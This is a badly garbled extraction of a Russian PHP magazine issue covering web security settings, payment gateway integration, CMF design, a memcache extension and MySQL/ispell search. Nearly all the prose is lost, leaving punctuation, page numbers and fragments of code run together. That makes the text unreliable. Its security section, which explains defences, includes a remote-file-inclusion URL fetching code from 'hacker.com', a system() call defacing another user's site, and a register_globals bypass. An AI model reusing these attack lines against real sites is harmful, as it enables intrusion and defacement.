    , max_input_time , - POST-. , , (upload): - ., - PHP-, max_input_time : - 100 , , .

    -

    , . - "" DoS- ( , , ). "" - , (IP-) , , . ,, Reload , - .

    , - _dima_noflood.php (http://php.spb.ru). : , - , - . , -, .

    , 1 - 3 , . 10 30 (3 * 10), , 15. , - 10 - 3 /!

    , - - , , "".

    IP-, , - ( - ).

    , Subsys_Antiflood_Main.

    68

    require_once "Subsys/Antiflood/Main.php";$af = new Subsys_Antiflood_Main("/tmp/".md5($_SERVER['SERVER_NAME'])."/antiflood"));$wait = $af->getTimeout();if ($wait) { echo " !"; echo " $wait ."; exit();}

  • PHP Inside 7 PHP

    , . .

    http://php.dklab.ru/lib/Subsys/Antiflood

    , (, ) Apache, - " ", PHP. , . :

    http://www.nuclearelephant.com/projects/dosevasive/

    PHP -

    PHP, .

    Safe mode () , -

    Apache . , , - . "" . Apache 8 - , . , , - ( ,, Java- Web).

    , . - - Apache , PHP- - ; , .

    Apache, PHP , - . safe_mode. safe_mode ( ).

    , "" Apache ( -

    ) mod_php, , . - ( , -, bash) - "" . , -.

    .

    69

  • PHP Inside 7 PHP

    , .. -, UID (User ID);

    -, .

    - 700 ( rw-------, " - , ").

    Unix - "" "" FTP- . , , .

    , ""Apache. , ( ) -. Apache , - httpd ( nobody). - , ( , ).

    , , - ( ) httpd. :

    "" , 770 (rwxrwx--- - - );

    httpd, - httpd.

    Apache , - .

    1. - . , - Unix.

    2. PHP-, Apache, -, , httpd. , Apache - ( ) , httpd. , - httpd.

    3. , , - (.. httpd), PHP- , - (, FTP)... "" rw-r--r--( , , , -), - .

    70

  • PHP Inside 7 PHP

    safe_mode - ,

    safe_mode PHP , , . , ( ), (UID) (.. , ). . , , , httpd. , , rw-rw-rw.

    :

    PHP UID, GID . .. httpd ( , Apache), "" FTP - .

    safe_mode , ( ) ( ) - . : - /tmp, Unix, safe_mode .

    , . , safe_mode - .

    . PHP, - .

    open_basedir , , PHP- . - PHP ., :

    . PHP, , "" , :

    , - system().

    , , , - PHP PHP .

    71

    safe_mode_gid = On

    open_basedir =

    system("echo hacked>/home/otheruser/index.html");

    safe_mode_exec_dir =

  • PHP Inside 7 PHP

    , , - safe_mode, PHP . . ,, , : safe_mode -.

    , safe_mode , . , , magic_quotes_gpc, . - - - .

    UID PHP ( -

    ), . : CGI- ( SuEXEC Apache); PHP. Apache mod_php - .

    , - Apache, mod_php . safe_mode, , . , "" Apache : -, , - .

    , (, --, ) Apache, mod_php. -, : - Keep-alive, - ( ).

    " SID" ,

    , - (, ) HTML-.

    , , - .

    72

    disable_functionc = 1,2,

  • PHP Inside 7 PHP

    HtmlSpecialChars; strip_tags , , -

    , - HTML-. , PHP :

    , , ! , strip_tags() "" , "". ,, "" :

    : " " -:

    "-" HTML- "" ( ) ,, , . :

    , , - , . PHPHtmlSpecialChars().

    , ,

    "" ? :

    , - "" - . , .

    BBCode -

    . BBCode - "" , , htmlspecialchars(), "-" HTML-.

    73

    $text = strip_tags($text);

    x = ad

    x = ad

    & --> &< --> --> >

    $text = htmlspecialchars($text);$text = preg_replace('{}si', '', $text);

  • PHP Inside 7 PHP

    :

    register_globals PHP =-

    , , $ . PHP , , . :

    , , , PHP . , -:

    , , - (register_globals=on) . , ( ) error_reporting=E_ALL ( E_NOTICE). , , - register_globals=on:

    , URL:

    , , $ok, 1, , .. . , error_reporting=E_ALL ( E_ALL E_NOTICE ), PHP - $ok . E_ALL&~E_NOTICE ( E_NOTICE) -, , , .

    , E_NOTICE - .

    74

    [b][/b], - [i][/i].

    $_GET[''] = '';$_POST[''] = '';

    register_globals = off

    http://example.com/script.php?ok=1

  • PHP Inside 7 PHP

    :

    , , - $libs . PHP - , , . - :

    "".

    , register_globalse=on - . - register_globalse=on : -. , php.ini . , - .

    display_errors log_errorsPHP , -

    500- , -. : ( ) .

    , ( ) - .

    , PHP - (, - URL, ). , , , - , -, .

    , PHP - , . :

    75

    http://example.com/script.php?libs[]=ftp://hacker.com/format.php

    log_errors = Onerror_log = log.txtdisplay_errors = Off

  • PHP Inside 7 PHP

    , ini_set().

    .htaccess , PHP,

    , "" .

    1. .

    2. .htaccess, .

    .

    -:

    :

    PHP- ; ( - mod_php):

    Basic- PHPBasic-

    . , , , .

    mod_php:

    CGI PHP CGI- PHP ( -

    ), , - HTTP_AUTHORIZATION.

    76

    deny from all

    allow from all

    AddType application/x-httpd-php-source .php

    // ( ).function Authenticate($realm="Admin authentication", $nm, $pass){ global $PHP_AUTH_USER, $PHP_AUTH_PW; if ($PHP_AUTH_USER!=$nm || $PHP_AUTH_PW!=$pass) { Header("WWW-Authenticate: Basic realm=\"$realm\""); Header("HTTP/1.0 401 Unauthorized"); exit; }}

  • PHP Inside 7 PHP

    , , mod_rewrite, - .htaccess :

    HTTP/1.0 404Unauthorized, Status: 401. -:

    , getallheaders() - mod_php.

    E_* (PHP5) PHP5 -

    . , "" (E_WARNING, E_NOTICE) .

    77

    RewriteEngine OnRewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]

    // ( ).function Authenticate($realm="Admin authentication", $nm, $pass){ global $PHP_AUTH_USER, $PHP_AUTH_PW; if ($PHP_AUTH_USER!=$nm || $PHP_AUTH_PW!=$pass) { Header("WWW-Authenticate: Basic realm=\"$realm\""); if (function_exists("getallheaders")) Header("HTTP/1.0 401 Unauthorized"); else Header("Status: 401"); exit; }}

  • PHP Inside 7 PHP

    PHP_Exceptionizer, PHP , : http://php.dklab.ru/lib/PHP.

    , , , (" " " " ).

    ,

    .

    phpBB: http://phpbb.com

    placeholder-:http://php.dklab.ru/lib/Database

    "PHP, MySQL ":http://dklab.ru/chicken/30.html

    : http://php.spb.ru

    : http://php.dklab.ru/lib/Subsys/Antiflood

    Apache, :http://www.nuclearelephant.com/projects/dosevasive

    PHP :http://php.dklab.ru/lib/PHP

    78

  • PHP Inside 7 ,

    , () -

    (). . , , . - , - ( ) -, - ( -, ), - / ( , ), - , - .

    , , . , ( ) , , .

    ()

    1995-1996 . ( ), ( -) , - . : , , - , - . - , - -.

    - (, , ), - , - (), - .

    , - , - - . , -, ( -), .

    79

    :

    , , ,

  • PHP Inside 7 ,

    , - , , , - . - ( , -, , -).

    , , , - . . - . - , . .

    , - . () . . . - ( . Fraud -) () . - ( ; , ?) - ( , ). , , , , , -, .

    - -, , (Chargeback) , -, - , - . - , Chargeback. - . . , Chargeback, . Chargeback - , . - (Chargeback Period), 45 180 .

    80

    , , , , , ,

  • PHP Inside 7 ,

    , , - , , - - . , , . , - , - () , - -. , () - , . -, . .

    , , , , , , , - (-) . , , (Value-Added Network - VAN), .

    (-) . - SSL (Secure Socket Layer).

    SSL, (RSA), - , - - . - - - . SSL () , - . - .

    - (MessageAutentification Code, MAC), -( , MD5).

    81

  • PHP Inside 7 ,

    SSL- , . -, - ( ) .

    SSL- -. : - -. , , -, . -, , SSL- - () . , : , .

    , Visa 1996 SET(Secure Electronic Transaction) , ( , ). Visa , -. Visa Verified by Visa 3D Secure SPA (SecurePayment Application) MasterCard ( SET, 3D-Secure SPA/UCAF 4).

    - ( , MD5) . , -, - -, -, ,, MD5 ( + + ). - - . , , ,, . OpenSSL PGP, - - RSA (, ). - ( ,WMSigner WebMoney). - , , .

    - :

    Merchant- ( , )

    82

    SSL- -. : -

  • PHP Inside 7 ,

    ( - ), (- , ..), , , , . - - . -.

    :

    1. .

    2. - ().

    3. ().

    4. -- ( -, .., ).

    5. .

    6. -.

    7. , , , .

    8. - - -.

    . 1. .

    83

  • PHP Inside 7 ,

    - .

    -

    - , , , . , . - - . , - , - . , .

    USAePay USAePay (http://www.usaepay.com)

    API : server-side, PHP- ( Perl, ASP .), JavaScript- ( ) client-side API . , - , -.

    server-side :

    , ,

    , -

    client-side :

    - hidden-

    , , URL

    84

  • PHP Inside 7 ,

    PHP- umTransaction. .

    1. API USAePay PHP

    85

  • PHP Inside 7 ,

    , - . ? , . , - . - , . , , - . - client-side , , : 2. API USAePay - .

    Submit, JavaScript, .

    86

    Expire Date (MM/YY)/

    $

  • PHP Inside 7 ,

    -

    , - -, UMRedir ( http://www.mycompany.com/myorderform.php). GET.

    USAePay , . , : UMredirApproved , UMredirDeclined -.

    , , , CGI Gateway API v2.8.2.

    1.

    , - , -.

    WebMoney .

    , WebMoney , - , , , , - . , , - WMSigner, , - . PHP-- , - , webmoney. -. WMSigner- - ( WMSigner).

    87

    include("wm.inc");//// // $wmid - // $summ - // $inv_id - // $dsc - // $adr - list($wminvc_n, $err) = InvCreate($wmid, $summ, $inv_id, $dsc, $adr);// if ($wminvc_n>0) { print " WebMoney: $wminvc_n";} else { print " : $err"; }

  • PHP Inside 7 ,

    . 2001 3(!!!) . , , , , WebMoney Merchant- .

    Merchant- Merchant-

    , , . , - Merchant- , . , , , .

    , , - . : , , .

    , - GET POST. , - .

    :

    -

    - , - .

    - , - .

    USAePay USAePay. -

    merchant- , -:

    https://www.usaepay.com/interface/epayform/[key]/[command]?UMamount=[amount]&UMinvoice=[invoice]&UMmd5hash=[hash]

    :

    [key] -

    [command] - (sale, authonly)

    88

  • PHP Inside 7 ,

    [amount] -

    [invoice] -

    [hash] - .

    Command:Pin:Amount:Invoice, MD5.

    (, , ):

    4. merchant-panel USAePay.

    : Int-commerce - .

    Int-Commerce --

    () Int-Commerce, https://secure.int-commerce.com/servlets/SoftPOS_alias/SoftPOS.Pay ( alias - - , ), GET :

    psum

    pmode . : 1 ( . ); 0 ( , , . , ); -1 - ( . , .)

    poterm

    porder plang .

    : 1 ; 2 ; 3

    89

  • PHP Inside 7 ,

    email - . GET:

    oderdID

    summ -

    ordStat -

    :

    -20

    0 ,

    ,

    10 ,

    11 . 16

    20 ,

    30

    - . , ,, IP- .

    www.int-commerce.com

    . -

    :

    1. XML- .

    2. https://www.menatepspb.com/ib/eps3/enter/?basket_url=http://www, basket_url , , BASE64.

    3. .

    4. , - .

    5. cmdAckUrl cmdCancelUrl .

    6. returnUrl, .

    90

  • PHP Inside 7 ,

    7. , 5- , .

    5- BASE64 , . , , - , - . RSA-MD5. - , -. Merchant- -. , Merchant- .

    WebMoneyWebMoney, ,

    Merchant- (Web MerchantInterface). - , . - https://merchant.webmoney.ru.

    ( http://webmoney.ru) 2. Result URL, . , - 2 : , , , . Success URL Fail URL -, .

    2 ( https://merchant.webmoney.ru/conf/guide.asp ). - ( - 2):

    5. Web Merchant Interface WebMoney

    91

    ... ...

  • PHP Inside 7 ,

    Merchant- - , 10 , -: , , , WM-- , , . - ( YES) - ( , ).

    2.

    ResultURL ( 2). -, , -, , WebMoney.

    , Result URL . - , , ( ).

    : -, , , , - WM, WM, - , , , WMId -. MD5.

    , (- ) https://merchant.webmoney.ru/conf/guide.asp.

    RuPay

    RuPay (http://www.rupay.com). - , , , -, (WebMoney, ndex-,Internet-money, E-Gold), (Western Union, , ). (, -24 ). - -. PayPal. - . , VisaElectron.

    92

    . 3

  • PHP Inside 7 ,

    . RuPay . :

    255 ,

    255 URL , - ,

    URL 255 URL ( - ), RUpay HTTP POST- . URL, .URL http:// https://

    32 , , . . RUpay !

    - ,

    . - action=http://rupay.ru/rupay/pay/index.php, . ( 3):

    6. RuPay

    93

    ... ...

  • PHP Inside 7 ,

    email- .

    WebMoney, RuPay , ( 3). - , . - , - . HTTPS- , - , - .

    , ::. - -: ( ) rupay_action,rupay_site_id, rupay_order_id, rupay_name_service, rupay_id,rupay_sum, rupay_user, rupay_email, rupay_data, rupay_secret_key,( ) - rupay_action, rupay_site_id,rupay_order_id, rupay_sum, rupay_id, rupay_data, rupay_status,rupay_secret_key. MD5, rupay_hash. , :

    7. - RuPay

    94

    // , RuPay $secretKey = "Melkosoft SUXX! :-P";// , $signFields = array($_POST["rupay_action"],$_POST["rupay_site_id"],$_POST["rupay_order_id"],$_POST["rupay_sum"],$_POST["rupay_id"],$_POST["rupay_data"],$_POST["rupay_status"]); // $signString = implode("::", $signFields); // $signString .= "::".$secretKey;// $signHash = md5($signString);// if ($signHash==$_POST["rupay_hash"]) { // todo, ...} else { // todo, ...}

  • PHP Inside 7 ,

    RuPay , . .

    Merchant-

    , . , , - , .

    USAePay: , , - , -. , - - , - . , .

    Merchant-, , , . , , , , . , . - , , - .

    - ( API). , VPAS (Verified by Visa) Mastercard UCAF (Universal CardholderAuthentication Field) , , - API, - - . , Merchant- , - .

    . -, , . - , .

    95

  • PHP Inside 7 ,

    1. - . . (, ).

    2. . , .

    3. . - API .

    4. -, - (CyberSpace Advanced Fraud Screen http://www.cybersource.com, Brighterion iPrevent for Fraud Prevention http://www.brighterion.com, ..).

    - http://www.menatepspb.com

    Int-Commerce http://www.int-commerce.com

    RuPay http://www.rupay.com

    USAePay http://www.usaepay.com

    WebMoney http://www.webmoney.ru

    96

  • PHP Inside 7 CMF freelance-

    CMF freelance- , -

    -, - , . , - . -. , - . - . -, CMS, - -/ . , , - . - , . ? - . - .. Framework.

    . CMS (Content ManagementSystem) () . - , , - CMS. , , - CMS CMS ( uCMS). uCMS , - . - , CMS. -, , CMS CMS - . , CMS uCMS

    CMS - CMF, . , , .

    CMS () . , -. uCMS . , CMS, ( - , ) .

    uCMS :

    1) .

    2) - .

    3) .

    4) .

    97

    :

  • PHP Inside 7 CMF freelance-

    , uCMS :

    1) ( ).

    2) , - .

    3) ( - CMS).

    , , -. ?

    uCMS:

    1) . CMS - . -, , , CMS, - .

    2) -, ( , , - ).

    3) . .

    , uCMS, , - : . ? , - ? - uCMS, - . , . , , , . - , , ? - . , , , .

    - "" (, , , , - - ), - - .

    . CMS , - , ( PHPNuke), , .

    98

    uCMS, , - : .

  • PHP Inside 7 CMF freelance-

    , - , freelance-, . , , , , uCMS .

    , . ? () : ( ) . - , , . -: .

    : ? -, , , - SQL .. uCMS - - : , - , ; - ( ) .

    , , - , ? . ( , uCMS ) , , (/// ). (/). , , -, . , , . Framework, CMF.

    CMF (content management framework) - . CMF uCMS , CMS , CMF CMS. CMF -, - . , CMF CMS , ( ), CMF - . . . CMF - , uCMS. - CMF:

    .

    .

    .

    CMS .

    99

    , .

  • PHP Inside 7 CMF freelance-

    -.

    , , CMF ( ), , , .

    : CMF uCMS , , .

    , , CMF, xpoint.ru: CMF . . CMF .

    - CMS, , , - , , . CMS , , , , -.

    CMF - , . : CMF - , - .

    , , , , .. , - , . , , . - , -, .

    . , , Framework , , . - . -, - .

    100

  • PHP Inside 7 CMF freelance-

    CMF CMF -

    CMS , -, , . , CMF - , -, . - CMF . -, CMF.

    CMF () , ,

    : . , -, -: . -, CMF, - - , - . - , , , -, - .

    , - , . -, , -, . , - (, - ), - - , . - -, , -. CMF?

    , , , - Framework. - , - . namespaces ., Framework , - . , , - . , - . PHP5 - __autoload, , .

    101

    PHP5 , .

  • PHP Inside 7 CMF freelance-

    PHP5 , . . , . - , Performance, 10-15 ( ), . , - , , -. , .

    , . :

    ? :

    7 . , , - . , PHP5, . -: ? , -. ! , CMF -. . , , -- .

    , , , , .

    , .

    . -, , - . (ID), - .

    102

  • PHP Inside 7 CMF freelance-

    ( - ). , . , , - .

    , content, ( , ). , , :, , .

    ., content comments () . , .

    , - . , .

    ( -). , - (), :

    , .

    103

  • PHP Inside 7 CMF freelance-

    , , . - if:

    - , .

    , , , . , - , , :

    , - .

    CMF , , -

    . , - .

    , : ID , , , -.

    104

    if(s::is($sid,"list")) // , "" { if($cid) // $cid - , ID . , // { $text=c::get($cid); // if($text) $xtpl->insert_loop("$p.text","text",$text); // } else { if(s::is($sid,"news")) $p2="$p.news"; else $p2="$p.list"; // , . $all=c::getall($sid); // . foreach($all as $item) $xtpl->insert_loop("$p2.item","item",$item); // $xtpl->parse("$p2"); // " " } }

    if(s::is($sid,"list")) // , ""// } elseif(s::is($sid,"cataloge"))}// }

    If($sid==1 or $sid==4 or $sid==5){ // .}

  • PHP Inside 7 CMF freelance-

    parentid. , , , , - .

    , - ? , . , ., , - , -, .

    ID . - , , , - , , - ID .

    . , . -. -. content, - (- : , ), ( ):

    s ID . , : ?

    . - -, select * from cwhere s=$sid; , - ( , ). , - .

    . , , .

    , - ( $this), .

    105

    CREATE TABLE c ( id int(10) unsigned NOT NULL auto_increment, ts timestamp(14) NOT NULL, dt datetime NOT NULL default '0000-00-00 00:00:00', s int(10) unsigned NOT NULL default '0', head text NOT NULL, ann text NOT NULL, body text NOT NULL, PRIMARY KEY (id)) TYPE=MyISAM;

  • PHP Inside 7 CMF freelance-

    -. , - . , - , . select * - , .

    . -

    . , . , - - .

    , , . - - , . . - . , , , , , , - , - CMF, .

    , , - . .

    , - , . ( ID ).

    . , . CMF.

    , - Pear. Pear , , .

    106

  • PHP Inside 7 CMF freelance-

    , -

    Framework, - CMS, - . , CMF. CMF , . , - , . (, MVC), . , . phpconf.ru - CMF, . install.txt.

    107

  • PHP Inside 7 () PHP MEMCACHE

    () PHP MEMCACHE

    ext_skel, ext/ - PHP. ext_skel - awk sed.

    ext_skel

    , , :

    ext_skel:

    ext_skel:

    config.m4 config.m4 autoconf

    ./configure, PHP.

    108

    ./ext_skel --extname=module [--proto=file] [--stubs=file] [--xml[=file]] [--skel=dir][--full-xml] [--no-help] --extname=module --proto=file --stubs=file --xml phpdoc --skel=dir --full-xml ( ) --no-help

    ./ext_skel --extname=memcache

    config.m4 - autoconf, CREDITS - memcache.php - memcache.c - config.w32 - Win32EXPERIMENTAL - php_memcache.h - tests/ -

    :

  • PHP Inside 7 () PHP MEMCACHE

    config.m4 memcache:

    config.m4 - .

    ./buildconf, - . config.m4. ./buildconf ./configure, --enable-memcache. , ., :

    , -

    ext_skel .

    109

    dnl enable-memcache

    PHP_ARG_ENABLE(memcache, whether to enable memcache support,[ --enable-memcache Enable memcache support])dnl --with-zlibdnl(zlib )if test -z "$PHP_ZLIB_DIR"; thenPHP_ARG_WITH(zlib-dir, for the location of libz, [ --with-zlib-dir[=DIR]memcache: Set the path to libz install prefix.], no, no)fidnl --enable-memcache "no", ...

    if test "$PHP_MEMCACHE" != "no"; then dnl AC_MSG_CHECKING([for the location of zlib]) dnl zlib if test "$PHP_ZLIB_DIR" = "no"; then dnl - zlib ! AC_MSG_RESULT([no. If configure fails, try --with-zlib-dir=]) else dnl zlib , $PHP_ZLIB_DIR AC_MSG_RESULT([$PHP_ZLIB_DIR]) dnl - PHP_ADD_LIBRARY_WITH_PATH(z, $PHP_ZLIB_DIR/lib, MEMCACHE_SHARED_LIBADD) fi

    AC_DEFINE(HAVE_MEMCACHE,1,[Whether you want memcache support]) dnl C/C++ dnl PHP_NEW_EXTENSION(memcache, memcache.c, $ext_shared)fi

    ./buildconf

    ./configure --enable-memcache ....make./sapi/cli/php -f ./ext/memcache/memcache.php

  • PHP Inside 7 () PHP MEMCACHE

    , , -

    PHP, (function_entry memcache_functions[]).

    , :

    1) :

    , :

    .

    2) :

    3) :

    110

    PHP_FE(memcache_get_version, NULL)

    PHP_ALIAS(memcache_get_version, some_old_function, NULL)

    PHP_FUNCTION(memcache_get_version);

    /* {{{ proto string memcache_get_version( object memcache ) Returns server's version */PHP_FUNCTION(memcache_get_version) { mmc_t *mmc; int inx; char *version; zval *mmc_object = getThis(); /* $this */ /* , Memcache, $this */ if (mmc_object == NULL) { /* */ if (zend_get_parameters(ht, 1, &mmc_object) == FAILURE) { WRONG_PARAM_COUNT; } } /* , , , */ if ((inx = mmc_get_connection(mmc_object, &mmc TSRMLS_CC)) == 0) { RETURN_FALSE; } /* , , NULL */ if ( (version = mmc_get_version(mmc TSRMLS_CC)) ) { RETURN_STRING(version, 0); } /* */ php_error_docref(NULL TSRMLS_CC, E_NOTICE, "failed to get server'sversion"); RETURN_FALSE;}

  • PHP Inside 7 () PHP MEMCACHE

    :

    : :

    :

    :

    :

    : :

    , - :

    :

    111

    zend_bool b;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "b", &b) == FAILURE)RETURN_FALSE;

    long l;double d;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ld", &l, &d) == FAILURE){

    char *str;int str_len;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &str, &str_len) ==FAILURE) {

    zval *arr;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "a", &arr) == FAILURE) {

    zval *c = NULLif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &c) == FAILURE) {

    long opt_l = 0;char *opt_str = NULL;long opt_str_len = 0;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|ls", &opt_l, &opt_str, &opt_str_len) == FAILURE) {

    zval *resource;zend_bool b = FALSE;if (zend_parse_parameters(2 TSRMLS_CC, "r|b", &resource, &b) == FAILURE) {

    long number;char *str;int str_len;if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, ZEND_NUM_ARGS()TSRMLS_CC, "l", &number) == SUCCESS) { /* */} else if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, ZEND_NUM_ARGS()TSRMLS_CC, "s", &str, &str_len) == SUCCESS) {/* */} else { /* ! */ }

  • PHP Inside 7 () PHP MEMCACHE

    :

    ZEND_NUM_ARGS()- .

    WRONG_PARAM_COUNT Wrongparameter count ...

    TSRMLS_CC, TSRMLS_DC, TSRMLS_C, TSRMLS_D - , - (thread safety). *_C* , *_D* - .

    , ,

    :

    1) :

    2) :

    3) , - PHP_MINIT_FUNCTION():

    PHP - :

    , - , - :

    .. :

    112

    static zend_class_entry *memcache_class_entry_ptr;

    static zend_function_entry php_memcache_class_functions[] = { PHP_FALIAS(pconnect, memcache_pconnect,NULL) {NULL, NULL, NULL}};

    PHP_MINIT_FUNCTION(memcache){ zend_class_entry memcache_class_entry; INIT_CLASS_ENTRY(memcache_class_entry, "Memcache",php_memcache_class_functions); memcache_class_entry_ptr = zend_register_internal_class(&memcache_class_entry TSRMLS_CC);}

    object_init_ex(return_value, );

    object_init_ex(return_value, memcache_class_entry_ptr);

  • PHP Inside 7 () PHP MEMCACHE

    return_value , - .

    , , , - , :

    . , ,

    PHP . , - , , . : , - , , - .

    - : , , . .

    , (le_memcache , le_pmemcache ).

    ( PHP_MINIT_FUNCTION()) :

    -, / .

    -, - persistent- ( ).

    113

    RETURN_RESOURCE(l) - , l - RETURN_BOOL(b) - , b - 0 1RETURN_NULL() - NULLRETURN_LONG(l) - RETURN_DOUBLE(d) - RETURN_STRING(s, duplicate) - RETURN_STRINGL(s, l, duplicate) - RETURN_EMPTY_STRING() - RETURN_ZVAL(zv, copy, dtor) - zvalRETURN_FALSE - FALSERETURN_TRUE - TRUE

    static int le_memcache, le_pmemcache;

    le_memcache = zend_register_list_destructors_ex(_mmc_server_list_dtor, NULL,"memcache connection", module_number);le_pmemcache = zend_register_list_destructors_ex(NULL, _mmc_pserver_list_dtor,"persistent memcache connection", module_number);

  • PHP Inside 7 () PHP MEMCACHE

    :

    , ID, zend_list_insert(). ID :

    , - . , - - . PHP , .

    ASP Java, - -, PHP - -, - , .

    -- . - - .

    . - . - , PHP ./run_tests.php .phpt.

    114

    mmc = mmc_open(Z_STRVAL_PP(host), Z_STRLEN_PP(host), real_port, timeout_sec,persistent TSRMLS_CC);if (mmc != NULL) { mmc->id = zend_list_insert(mmc,le_memcache);}

  • PHP Inside 7 () PHP MEMCACHE

    .phpt:

    :

    --TEST--- , ;

    --SKIPIF--- , , . , - , skip. ;

    --FILE-- - ;

    --EXPECT-- - ;

    --EXPECTF--- , sprintf().

    , PHP, README.TESTING2 - PHP.

    :

    - GNU Debugger gdb. , - GDB, PHP - --enable-debug.

    115

    --TEST--memcache_set()/memcache_get() using compression--SKIPIF--

    --FILE--

    --EXPECTF--object(stdClass)#%d (2) { ["plain_attribute"]=> string(5) "value" ["array_attribute"]=> array(2) { [0]=> string(5) "test1" [1]=> string(5) "test2" }}

    export TEST_PHP_EXECUTABLE=./sapi/cli/phpphp -f ./run_tests.php ext/memcache/tests

  • PHP Inside 7 () PHP MEMCACHE

    gdb:

    ? #1 http_build_query(); ( zif_ PHP_FUNCTION). 204 ext/standard/http.c php_url_encode_hash_ex(), . - GDB , .

    ? ?

    - . , ZEND API http://zend.com/zend/api.php , -, , - .

    - - ext/mysql, .

    [email protected] [email protected], - , - . , .

    IRC: #php.pecl #php.bugs EFNet, .

    ? -

    . , PHP , , .

    116

    $gdb ./sapi/cli/php(gdb) run -f some_test.phpProgram received signal SIGSEGV, Segmentation fault.php_url_encode_hash_ex (...) at /usr/src/php5/ext/standard/http.c:64(gdb) backtrace#0 php_url_encode_hash_ex (...) at /usr/src/php5/ext/standard/http.c:64 #1 0x081b962c in zif_http_build_query (...) at /usr/src/php5/ext/standard/http.c:204 #2 0x08224ede in zend_do_fcall_common_helper (...) at /usr/src/php5/Zend/zend_execute.c:2642 #3 0x0822505e in zend_do_fcall_handler (...) at /usr/src/php5/Zend/zend_execute.c:2771#4 0x08221388 in execute (...) at /usr/src/php5/Zend/zend_execute.c:1339 #5 0x082032ff in zend_execute_scripts (...) at /usr/src/php5/Zend/zend.c:1053 #6 0x081ca76f in php_execute_script (...) at /usr/src/php5/main/main.c:1647#7 0x08235a2e in main (...) at /usr/src/php5/sapi/cli/php_cli.c:941

  • PHP Inside 7 () PHP MEMCACHE

    , , , , , - . - .

    memcache -

    memcache LiveJournal (Brad Fitzpatrick). memcached LiveJournal , . - ( -), / - .

    Memcached plain-text , - - - , .

    PECL/memcache memcached PHP, PHP-, . , memcached, , PECL/memcache, - 10 100 .

    memcached:

    () , - , -;

    ;

    ( - HEAP MySQL);

    .

    117

  • PHP Inside 7 PHP, MYSQL ISPELL

    PHP, MYSQL ISPELL

    - - . , , : - "" , - .

    , , - , , - - . , ,, , -. , , - - , - - .

    , . - UNIX-. , -, - , crontab' .., , - . ,, , "-" , , , . , - - (CMS), -.

    , - . - , , - , , - . - , - - , , - .

    118

    :

  • PHP Inside 7 PHP, MYSQL ISPELL

    , : - . - mysql, PHP ( , mysql) UNIX- ispell, - . - ? ispell- ? - , ? -, ? .

    mysql: ()

    -, .

    :

    :

    119

    create table search_object (

    id int(11) default '0' not null auto_increment, #

    name varchar(32) not null, # ""

    idate datetime not null, #

    tag int(4) default '0', # () -

    primary key (id),

    index idx_so_name (name),

    index idx_so_idate (idate),

    index idx_so_tag (tag));

    create table search_index (

    id_obj int(11) not null, #

    word varchar(32) not null, #

    weight int(4) not null, # ""

    unique uk_si_obj_word (id_obj,word),

    index idx_si_word (word)

    # : , );

  • PHP Inside 7 PHP, MYSQL ISPELL

    - search_index, (search_object) . (name) - URL- , (-) , (, {table_name, table_id} -URLdb://table_name/table_id .). ( , .), - "" () , "" - . - , (, , ), .

    , " " " ". . -:

    - "" -

    . - - , - ( , ). , ( -) :

    1) - , ;

    2) , - .

    120

    mysql> select * from search_index order by id_obj;+--------+---------+--------+| id_obj | word | weight |+--------+---------+--------+| 1 | | 1 || 1 | | 1 || 1 | | 1 || 2 | | 1 || 2 | | 1 || 2 | | 1 || 2 | | 1 |+--------+---------+--------+7 rows in set (0.00 sec)

  • PHP Inside 7 PHP, MYSQL ISPELL

    - : " ". - :

    , , ,

    -:

    - . - . - , - .

    : ru-ispell

    . UNIX- ispell.

    121

    mysql> select id_obj, word, (word = ''), (word = ''), (word = '') -> from search_index where word in('','','');+--------+-------+--------------+-----------------+------------------+| id_obj | word |word = ''| (word = '') | (word = '') |+--------+-------+--------------+-----------------+------------------+| 1 | | 1 | 0 | 0 || 1 | | 0 | 1 | 0 || 1 | 0 | 0 | 1 || 2 | 1 | 0 | 0 |+--------+-------+--------------+-----------------+------------------+4 rows in set (0.00 sec)

    +--------+------+------+| id_obj | w | r |+--------+------+------+| 1 | 3 | 3 || 2 | 1 | 1 |+--------+------+------+2 rows in set (0.00 sec)

    mysql> select id_obj, sum(weight) as w,

    -> max(word = '') + max(word = '') + max(word = '') as r

    -> from search_index where word in('','','')

    -> group by id_obj

    -> order by r desc, w desc;

  • PHP Inside 7 PHP, MYSQL ISPELL

    - , , , , - . , , . : (-).

    -:

    : (-) "K"(flag*K) 5 . - , - 20 . : [] > [ ],[ ]

    :

    -------------------------------------------------------------------------------

    /I

    /K

    /K

    /A

    /A

    /I

    /A

    /A

    /BLRW

    /BLRW

    -------------------------------------------------------------------------------

    , - "" , ('/') , . "" K(. affix-). [^] - , - - . , (/BLRW).

    122

    ---------------------------------------------------------------------flag *K:# .., - > -, # > (..) > -, # > (..) > -, # > (..) [^] > -, # > (..) > -, # > (..)---------------------------------------------------------------------

  • PHP Inside 7 PHP, MYSQL ISPELL

    , (B,L,R,W) . -, "", - "" . , {,,,} - - . "" "" . , - " - ?", " - -?". , - . , .

    mysql-:

    :

    , : . , - , - - ( ). , - , , .

    123

    create table affix (

    flag char(1) default '' not null, #

    type char(1) default '' not null, # :

    lang char(3) default '' not null, #

    mask char(16) default '' not null, #

    find char(16) default '' not null, #

    repl char(16) default '' not null, #

    index idx_affix_flag (flag));

    create table spell (

    word varchar(32) default '' not null, #

    flag varchar(8) default '' not null, #

    lang char(3) default '' not null, #

    index idx_spell_word (word));

  • PHP Inside 7 PHP, MYSQL ISPELL

    , - "" - -, , :

    - .

    SQL-

    . - . , ( , ), , :

    124

    mysql> select * from stopword limit 10;+-------+| word |+-------+| || || || || || || || || || |+-------+10 rows in set (0.00 sec)

    mysql> SELECT DISTINCT -> CONCAT(LEFT(s.word,LENGTH(s.word)-LENGTH(a.find)),a.repl) as FORM -> FROM spell s, affix a -> WHERE s.word = '' -> and INSTR(s.flag,a.flag) -> and s.word regexp a.mask -> and s.lang=a.lang -> and a.type='s';

    create table stopword (

    word varchar(32) not null,

    primary key (word));

  • PHP Inside 7 PHP, MYSQL ISPELL

